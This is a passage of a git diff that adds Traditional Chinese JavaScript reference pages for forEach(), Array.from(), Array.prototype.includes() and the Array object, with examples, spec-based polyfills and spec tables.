+ <li>the <strong>element value</strong></li>
+ <li>the <strong>element index</strong></li>
+ <li>the <strong>array being traversed</strong></li>
+</ul>
+
+<p>If a <code>thisArg</code> parameter is provided to <code>forEach()</code>, it will be used as callback's <code>this</code> value.  Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p>
+
+<p>The range of elements processed by <code>forEach()</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>forEach()</code> begins will not be visited by <code>callback</code>. If the values of existing elements of the array are changed, the value passed to <code>callback</code> will be the value at the time <code>forEach()</code> visits them; elements that are deleted before being visited are not visited. If elements that are already visited are removed (e.g. using {{jsxref("Array.prototype.shift()", "shift()")}}) during the iteration, later elements will be skipped - see example below.</p>
+
+<p><code>forEach()</code> executes the <code>callback</code> function once for each array element; unlike {{jsxref("Array.prototype.map()", "map()")}} or {{jsxref("Array.prototype.reduce()", "reduce()")}} it always returns the value {{jsxref("undefined")}} and is not chainable. The typical use case is to execute side effects at the end of a chain.</p>
+
+<p><code>forEach()</code> does not mutate the array on which it is called (although <code>callback</code>, if invoked, may do so).</p>
+
+<div class="note">
+<p>除非是拋出異常，否則並沒有中止 <code>forEach()</code> 迴圈的辦法。如果你需要這樣做，<code>forEach()</code> 就是錯誤的用法，相反的，應該要用簡單的迴圈。如果你要測試陣列裡面的元素並回傳布林值，可以用 {{jsxref("Array.prototype.every()", "every()")}} 或 {{jsxref("Array.prototype.some()", "some()")}}。如果可以的話，新的方法 {{jsxref("Array.prototype.find()", "find()")}} 或 {{jsxref("Array.prototype.findIndex()", "findIndex()")}} 也可以用於 true 值之後提前終止。</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Converting_from_for_to_forEach">Converting from for to forEach</h3>
+
+<p>before</p>
+
+<pre class="brush:js">const items = ['item1', 'item2', 'item3'];
+const copy = [];
+
+for (let i=0; i&lt;items.length; i++) {
+  copy.push(items[i])
+}
+</pre>
+
+<p>after</p>
+
+<pre class="brush:js">const items = ['item1', 'item2', 'item3'];
+const copy = [];
+
+items.forEach(function(item){
+  copy.push(item)
+});
+
+</pre>
+
+<p> </p>
+
+<h3 id="Printing_the_contents_of_an_array">Printing the contents of an array</h3>
+
+<p>The following code logs a line for each element in an array:</p>
+
+<pre class="brush:js">function logArrayElements(element, index, array) {
+  console.log('a[' + index + '] = ' + element);
+}
+
+// Notice that index 2 is skipped since there is no item at
+// that position in the array.
+[2, 5, , 9].forEach(logArrayElements);
+// logs:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+</pre>
+
+<h3 id="Using_thisArg">Using <code>thisArg</code></h3>
+
+<p>The following (contrived) example updates an object's properties from each entry in the array:</p>
+
+<pre class="brush:js">function Counter() {
+  this.sum = 0;
+  this.count = 0;
+}
+Counter.prototype.add = function(array) {
+  array.forEach(function(entry) {
+    this.sum += entry;
+    ++this.count;
+  }, this);
+  // ^---- Note
+};
+
+const obj = new Counter();
+obj.add([2, 5, 9]);
+obj.count;
+// 3
+obj.sum;
+// 16
+</pre>
+
+<p>Since the <code>thisArg</code> parameter (<code>this</code>) is provided to <code>forEach()</code>, it is passed to <code>callback</code> each time it's invoked, for use as its <code>this</code> value.</p>
+
+<div class="note">
+<p>If passing the function argument using an <a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> the <code>thisArg</code> parameter can be omitted as arrow functions lexically bind the {{jsxref("Operators/this", "this")}} value.</p>
+</div>
+
+<h3 id="An_object_copy_function">An object copy function</h3>
+
+<p>The following code creates a copy of a given object. There are different ways to create a copy of an object; the following is just one way and is presented to explain how <code>Array.prototype.forEach()</code> works by using ECMAScript 5 <code>Object.*</code> meta property functions.</p>
+
+<pre class="brush: js">function copy(obj) {
+  const copy = Object.create(Object.getPrototypeOf(obj));
+  const propNames = Object.getOwnPropertyNames(obj);
+
+  propNames.forEach(function(name) {
+    const desc = Object.getOwnPropertyDescriptor(obj, name);
+    Object.defineProperty(copy, name, desc);
+  });
+
+  return copy;
+}
+
+const obj1 = { a: 1, b: 2 };
+const obj2 = copy(obj1); // obj2 looks like obj1 now
+</pre>
+
+<h3 id="If_the_array_is_modified_during_iteration_other_elements_might_be_skipped.">If the array is modified during iteration, other elements might be skipped.</h3>
+
+<p>The following example logs "one", "two", "four". When the entry containing the value "two" is reached, the first entry of the whole array is shifted off, which results in all remaining entries moving up one position. Because element "four" is now at an earlier position in the array, "three" will be skipped. <code>forEach()</code> does not make a copy of the array before iterating.</p>
+
+<pre class="brush:js">var words = ['one', 'two', 'three', 'four'];
+words.forEach(function(word) {
+  console.log(word);
+  if (word === 'two') {
+    words.shift();
+  }
+});
+// one
+// two
+// four
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>forEach()</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>forEach()</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}} and {{jsxref("TypeError")}} have their original values and that <code>callback.call()</code> evaluates to the original value of {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.18
+// Reference: http://es5.github.io/#x15.4.4.18
+if (!Array.prototype.forEach) {
+
+  Array.prototype.forEach = function(callback/*, thisArg*/) {
+
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling toObject() passing the
+    // |this| value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get() internal
+    // method of O with the argument "length".
+    // 3. Let len be toUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If isCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let
+    // T be undefined.
+    if (arguments.length &gt; 1) {
+      T = arguments[1];
+    }
+
+    // 6. Let k be 0.
+    k = 0;
+
+    // 7. Repeat while k &lt; len.
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Let Pk be ToString(k).
+      //    This is implicit for LHS operands of the in operator.
+      // b. Let kPresent be the result of calling the HasProperty
+      //    internal method of O with argument Pk.
+      //    This step can be combined with c.
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal
+        // method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Call the Call internal method of callback with T as
+        // the this value and argument list containing kValue, k, and O.
+        callback.call(T, kValue, k, O);
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+    // 8. return undefined.
+  };
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/from/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/from/index.html
new file mode 100644
index 0000000000..229b92f5e6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/from/index.html
@@ -0,0 +1,215 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Reference/Global_Objects/Array/from
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.from()</strong></code> 方法會從類陣列（array-like）或是可迭代（iterable）物件建立一個新的 <code>Array</code> 實體。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-from.html")}}</div>
+
+
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>將類陣列或可迭代物件轉換成陣列</dd>
+ <dt><code>mapFn {{Optional_inline}}</code></dt>
+ <dd>Map 函式走訪陣列中的每一個元素。</dd>
+ <dt><code>thisArg {{Optional_inline}}</code></dt>
+ <dd><code>mapFn</code> 函式執行時的 <code>this</code> 對象。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個新的 {{jsxref("Array")}} 實體。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>Array.from()</code> 讓你從這些物件建立陣列：</p>
+
+<ul>
+ <li>類陣列（array-like）物件（物件具有 <code>length</code> 屬性以及索引化（indexed）的元素）或</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/iterable">可迭代物件</a>（物件具有可以讓你利用迭代的方式取得它自己本身的元素，像是 {{jsxref("Map")}} 和 {{jsxref("Set")}}）。</li>
+</ul>
+
+<p><code>Array.from()</code> 有個可選用的參數 <code>mapFn</code>，它允許你在建立出新的陣列實體之後，可以接著對陣列（或是其子類別物件）中的每一個元素執行 {{jsxref("Array.prototype.map", "map")}} 函式。更清楚地說，<code> Array.from(obj, mapFn, thisArg)</code> 跟 <code>Array.from(obj).map(mapFn, thisArg)</code> 的結果是一樣的，除非所建立的不是一個可用的中介陣列（intermediate array）。這對於某些陣列的子類別來說就很重要，例如<a href="/zh-TW/docs/Web/JavaScript/Typed_arrays">型別陣列</a>，因為中介陣列必須要把內容值做一番截頭去尾的操作來讓它們變成適合的物件型態。</p>
+
+<p><code>from()</code> 方法的 <code>length</code> 屬性值為 1。</p>
+
+<p>在 ES2015，類別語法允許原生內建的物件以及使用者自定義的物件可以被子類別化（sub-classing）；因此，靜態方法像是 <code>Array.from</code>，是「繼承」了 <code>Array</code> 的子類別後，然後建立新的子類別的實體，而不是建立 <code>Array</code> 本身。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="從字串產生陣列">從字串產生陣列</h3>
+
+<pre class="brush: js">Array.from('foo');
+// ["f", "o", "o"]</pre>
+
+<h3 id="從集合產生陣列">從集合產生陣列</h3>
+
+<pre class="brush: js">var s = new Set(['foo', window]);
+Array.from(s);
+// ["foo", window]</pre>
+
+<h3 id="從映射產生陣列">從映射產生陣列</h3>
+
+<pre class="brush: js">var m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]</pre>
+
+<h3 id="從類陣列物件（arguments）產生陣列">從類陣列物件（arguments）產生陣列</h3>
+
+<pre class="brush: js">function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+
+// [1, 2, 3]</pre>
+
+<h3 id="使用箭頭函式及_Array.from">使用箭頭函式及 <code>Array.from</code></h3>
+
+<pre class="brush: js">// 使用箭頭函式作為 map 函式來
+// 操作元素
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+// 產生數值序列
+// 因為陣列中的每個位置都會被初始化為 `undefined`，
+// 下方 `v` 會是 `undefined`
+Array.from({length: 5}, (v, i) =&gt; i);
+// [0, 1, 2, 3, 4]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>Array.from</code> 在 ECMA-262 標準第六版（ES2015）被加入；在某些實作可能尚未被支援。你可以將下面的程式碼插入到妳的 script 的最前面，如果你使用的工作環境不具有原生支援 <code>Array.from</code> 的能力。這個演算法根據 ECMA-262 第六版中的規範實現，假定 <code>Object</code> 及 <code>TypeError</code> 它們本身已具有值且 <code>callback.call</code> 對應到原本 {{jsxref("Function.prototype.call")}} 的值。除此之外，因為 Polyfill 無法實現真正的迭代，這個實作不支援 ECMA-262 第六版中所定義的泛型迭代。</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1
+if (!Array.from) {
+  Array.from = (function () {
+    var toStr = Object.prototype.toString;
+    var isCallable = function (fn) {
+      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+    };
+    var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+    };
+    var maxSafeInteger = Math.pow(2, 53) - 1;
+    var toLength = function (value) {
+      var len = toInteger(value);
+      return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+    // The length property of the from method is 1.
+    return function from(arrayLike/*, mapFn, thisArg */) {
+      // 1. Let C be the this value.
+      var C = this;
+
+      // 2. Let items be ToObject(arrayLike).
+      var items = Object(arrayLike);
+
+      // 3. ReturnIfAbrupt(items).
+      if (arrayLike == null) {
+        throw new TypeError('Array.from requires an array-like object - not null or undefined');
+      }
+
+      // 4. If mapfn is undefined, then let mapping be false.
+      var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+      var T;
+      if (typeof mapFn !== 'undefined') {
+        // 5. else
+        // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
+        if (!isCallable(mapFn)) {
+          throw new TypeError('Array.from: when provided, the second argument must be a function');
+        }
+
+        // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
+        if (arguments.length &gt; 2) {
+          T = arguments[2];
+        }
+      }
+
+      // 10. Let lenValue be Get(items, "length").
+      // 11. Let len be ToLength(lenValue).
+      var len = toLength(items.length);
+
+      // 13. If IsConstructor(C) is true, then
+      // 13. a. Let A be the result of calling the [[Construct]] internal method
+      // of C with an argument list containing the single item len.
+      // 14. a. Else, Let A be ArrayCreate(len).
+      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+      // 16. Let k be 0.
+      var k = 0;
+      // 17. Repeat, while k &lt; len… (also steps a - h)
+      var kValue;
+      while (k &lt; len) {
+        kValue = items[k];
+        if (mapFn) {
+          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+        } else {
+          A[k] = kValue;
+        }
+        k += 1;
+      }
+      // 18. Let putStatus be Put(A, "length", len, true).
+      A.length = len;
+      // 20. Return A.
+      return A;
+    };
+  }());
+}
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>首次定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.from")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/includes/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/includes/index.html
new file mode 100644
index 0000000000..6d3d0e0cb2
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/includes/index.html
@@ -0,0 +1,175 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/Array/includes
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>includes()</strong></code> 方法會判斷陣列是否包含特定的元素，並以此來回傳 <code>true</code> 或 <code>false</code>。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.includes(<var>searchElement[</var>, <var>fromIndex]</var>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>要搜尋的元素。</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>要於此陣列中開始搜尋 <code>searchElement</code> 的位置。如為負數值，則自 <code>array.length + fromIndex</code> 開始向後搜尋。預設值為 0。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>布林值（{{jsxref("Boolean")}}）。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h3 id="fromIndex_大於或等於陣列長度"><code>fromIndex</code> 大於或等於陣列長度</h3>
+
+<p>如果 <code>fromIndex</code>大於或等於陣列長度, 會回傳<code>false</code>. 此陣列將不會被搜尋.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3);   // false
+arr.includes('c', 100); // false</pre>
+
+<h3 id="Computed_index_is_less_than_0">Computed index is less than 0</h3>
+
+<p>If <code>fromIndex</code> is negative, the computed index is calculated to be used as a position in the array at which to begin searching for <code>searchElement</code>. If the computed index is less than 0, the entire array will be searched.</p>
+
+<pre class="brush: js">// array length is 3
+// fromIndex is -100
+// computed index is 3 + (-100) = -97
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -100); // true
+arr.includes('b', -100); // true
+arr.includes('c', -100); // true</pre>
+
+<h3 id="includes_used_as_a_generic_method"><code>includes()</code> used as a generic method</h3>
+
+<p><code>includes()</code> method is intentionally generic. It does not require <code>this</code> value to be an Array object, so it can be applied to other kinds of objects (e.g. array-like objects). The example below illustrates <code>includes()</code> method called on the function's <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> object.</p>
+
+<pre class="brush: js">(function() {
+  console.log([].includes.call(arguments, 'a')); // true
+  console.log([].includes.call(arguments, 'd')); // false
+})('a','b','c');</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.includes
+if (!Array.prototype.includes) {
+  Object.defineProperty(Array.prototype, 'includes', {
+    value: function(searchElement, fromIndex) {
+
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      // 1. Let O be ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If len is 0, return false.
+      if (len === 0) {
+        return false;
+      }
+
+      // 4. Let n be ? ToInteger(fromIndex).
+      //    (If fromIndex is undefined, this step produces the value 0.)
+      var n = fromIndex | 0;
+
+      // 5. If n ≥ 0, then
+      //  a. Let k be n.
+      // 6. Else n &lt; 0,
+      //  a. Let k be len + n.
+      //  b. If k &lt; 0, let k be 0.
+      var k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+      function sameValueZero(x, y) {
+        return x === y || (typeof x === 'number' &amp;&amp; typeof y === 'number' &amp;&amp; isNaN(x) &amp;&amp; isNaN(y));
+      }
+
+      // 7. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let elementK be the result of ? Get(O, ! ToString(k)).
+        // b. If SameValueZero(searchElement, elementK) is true, return true.
+        if (sameValueZero(o[k], searchElement)) {
+          return true;
+        }
+        // c. Increase k by 1.
+        k++;
+      }
+
+      // 8. Return false
+      return false;
+    }
+  });
+}
+</pre>
+
+<p>If you need to support truly obsolete JavaScript engines that don't support <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, it's best not to polyfill <code>Array.prototype</code> methods at all, as you can't make them non-enumerable.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.includes")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/index.html
new file mode 100644
index 0000000000..fe344c1811
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/index.html
@@ -0,0 +1,457 @@
+---
+title: Array
+slug: Web/JavaScript/Reference/Global_Objects/Array
+tags:
+  - Array
+  - JavaScript
+  - NeedsTranslation
+  - TopicStub
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef}}</div>
+
+<p>JavaScript 中的 <strong><code>Array</code></strong> 全域物件被用於建構陣列；陣列為高階（high-level）、似列表（list-like）的物件。陣列在Javascript 裡面並沒有固定的長度與型別。由於陣列的長度可以隨時被改變，所以並不能保證陣列的密度。這取決於開發者如何使用陣列。一般來說，這是個非常方便的特性，但如果這並不適用於你的開發工作，你也許會考慮使用型別陣列。</p>
+
+<p><strong>建立陣列</strong></p>
+
+<pre class="brush: js">var fruits = ['Apple', 'Banana'];
+
+console.log(fruits.length);
+// 2
+</pre>
+
+<p><strong>（透過索引）取得陣列項目</strong></p>
+
+<pre class="brush: js">var first = fruits[0];
+// Apple
+
+var last = fruits[fruits.length - 1];
+// Banana
+</pre>
+
+<p><strong>迭代陣列</strong></p>
+
+<pre class="brush: js">fruits.forEach(function(item, index, array) {
+  console.log(item, index);
+});
+// Apple 0
+// Banana 1
+</pre>
+
+<p><strong>加入項目至陣列末端</strong></p>
+
+<pre class="brush: js">var newLength = fruits.push('Orange');
+// ["Apple", "Banana", "Orange"]
+</pre>
+
+<p><strong>移除陣列末端項目</strong></p>
+
+<pre class="brush: js">var last = fruits.pop(); // 移除 <code>(</code>最末端的<code>) </code>Orange
+// ["Apple", "Banana"];
+</pre>
+
+<p><strong>移除陣列前端項目</strong></p>
+
+<pre class="brush: js"><code>var first = fruits.shift(); // 移除 (最前端的) Apple
+// ["Banana"];</code></pre>
+
+<p><strong>加入項目至陣列前端</strong></p>
+
+<pre class="brush: js">var newLength = fruits.unshift('Strawberry') // 加到陣列前端
+// ["Strawberry", "Banana"];
+</pre>
+
+<p><strong>在陣列中尋找項目的索引</strong></p>
+
+<pre class="brush: js">fruits.push('Mango');
+// ["Strawberry", "Banana", "Mango"]
+
+var pos = fruits.indexOf('Banana');
+// 1
+</pre>
+
+<p><strong>移除指定索引位置的項目</strong></p>
+
+<pre class="brush: js">var removedItem = fruits.splice(pos, 1); // 移除 pos 起的 1 個項目
+
+// ["Strawberry", "Mango"]</pre>
+
+<p><strong>移除指定索引位置起的多個項目</strong></p>
+
+<pre class="brush: js">var vegetables = ['Cabbage', 'Turnip', 'Radish', 'Carrot'];
+console.log(vegetables);
+// ["Cabbage", "Turnip", "Radish", "Carrot"]
+
+var pos = 1, n = 2;
+
+var removedItems = vegetables.splice(pos, n);
+// 這就是移除項目的方式，
+// n 表示從該位置 (pos) 開始，一直到陣列的尾端有多少項目需要移除
+
+console.log(vegetables);
+// ["Cabbage", "Carrot"] (原始的陣列被改變)
+
+console.log(removedItems);
+// ["Turnip", "Radish"]</pre>
+
+<p><strong>複製陣列</strong></p>
+
+<pre class="brush: js">var shallowCopy = fruits.slice(); // 這就是複製陣列的方式
+// ["Strawberry", "<code>Mango</code>"]
+</pre>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>arrayLength</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>除了只傳遞一個參數給 <code>Array</code> 構造函數，且該參數為一個數字的情況（詳見下方的 arrayLength 參數），JavaScript 陣列會以傳入的元素進行初始化。</dd>
+ <dd>請注意，這種特殊情況僅適用於以 <code>Array </code>構造函數建立的 JavaScript 陣列，而不適用於以括號語法建立的陣列常值（Array Literals）。</dd>
+ <dt><code>arrayLength</code></dt>
+ <dd>如果傳遞給 <code>Array</code> 構造函數的唯一參數是 0 和 2<sup>32</sup>-1（含）之間的整數，將回傳一個新的 JavaScript 陣列，其長度被設定為這個數字。如果參數是任何其他數值，將拋出 {{jsxref("RangeError")}} 異常。</dd>
+</dl>
+
+<h2 id="Description" name="Description">說明</h2>
+
+<p>Array（「陣列」）是類似列表（list）的物件（Object），它們的原型（Prototype）擁有方法（methods）來執行遍歷和變異操作。JavaScript 陣列的長度（元素數量），以及其元素的類型都不是固定的。取決於工程師如何選擇使用陣列，可以隨時更改陣列的長度，也可不連續儲存資料， 所以並不保證這些資料是集中的。一般情況下，這些特性很方便使用；但若這些功能都不符合您的用途，您可能會想使用型別陣列（typed arrays）。</p>
+
+<p>有些人認為即便會發生警告，仍然<a class="external" href="http://www.andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/">不應該使用關聯陣列</a>，而應該使用 {{jsxref("Global_Objects/Object", "objects")}}。您可參考<a class="external" href="http://www.less-broken.com/blog/2010/12/lightweight-javascript-dictionaries.html">輕量級 JavaScript 字典</a>當中的範例。</p>
+
+<h3 id="Accessing_array_elements" name="Accessing_array_elements">存取陣列元素</h3>
+
+<p>JavaScript 陣列是 zero-indexed：陣列元素的索引值編排從 0 開始，而最後一個元素的索引值等同於陣列的 {{jsxref("Array.length", "length")}} 屬性減 1。</p>
+
+<pre class="brush: js">var arr = ['this is the first element', 'this is the second element'];
+console.log(arr[0]);              // 紀錄出 'this is the first element'
+console.log(arr[1]);              // 記錄出 'this is the second element'
+console.log(arr[arr.length - 1]); // 記錄出 'this is the second element'
+</pre>
+
+<p>Array 元素同時也是物件的屬性，與 <code>toString</code> 是一種屬性相同。但若要透過下面這種方式存取陣列元素，因為屬性名稱無效的關係，會發生語法錯誤：</p>
+
+<pre class="brush: js">console.log(arr.0); // 語法錯誤
+</pre>
+
+<p>會造成如此的原因沒有什麼特別的，在 JavaScript 當中無法用小數點的方式來參照一個名稱開頭為數字的屬性，而必須括號的表示方式來存取。舉例來說，若您有個物件的屬性名稱為「<code>3d</code>」，就只能用括號的方式來參照。</p>
+
+<p>請看下列範例：</p>
+
+<pre class="brush: js">var years = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
+console.log(years.0);   // 語法錯誤
+console.log(years[0]);  // 程式正常
+</pre>
+
+<pre class="brush: js">renderer.3d.setTexture(model, 'character.png');     // 語法錯誤
+renderer['3d'].setTexture(model, 'character.png');  // 程式正常
+</pre>
+
+<p>注意：以這個 <code>'3d'</code> 例子來說，必須用引號將 <code>3d</code> 包起來。您也可以將 JavaScript 陣列的索引用引號包起來（例如使用 <code>years['2']</code> 而不用 <code>years[2]</code>），但這不是必要的。JavaScript 會透過隱含的 <code>toString</code>，將 <code>years[2]</code> 當中的 2 強制轉換為字串。由於這個原因，<code>'2'</code> 與 <code>'02'</code> 會參照到 <code>years</code> 物件中的不同項目，下列程式範例結果可能回傳 <code>true</code>：</p>
+
+<pre class="brush: js">console.log(years['2'] != years['02']);
+</pre>
+
+<p>另一種類似的情況是，物件屬性剛好與保留字（！）相同的情況。這種情況下僅能透過括號表示方式當中的字串常值來存取：</p>
+
+<pre class="brush: js">var promise = {
+  'var'  : 'text',
+  'array': [1, 2, 3, 4]
+};
+
+console.log(promise['var']);
+</pre>
+
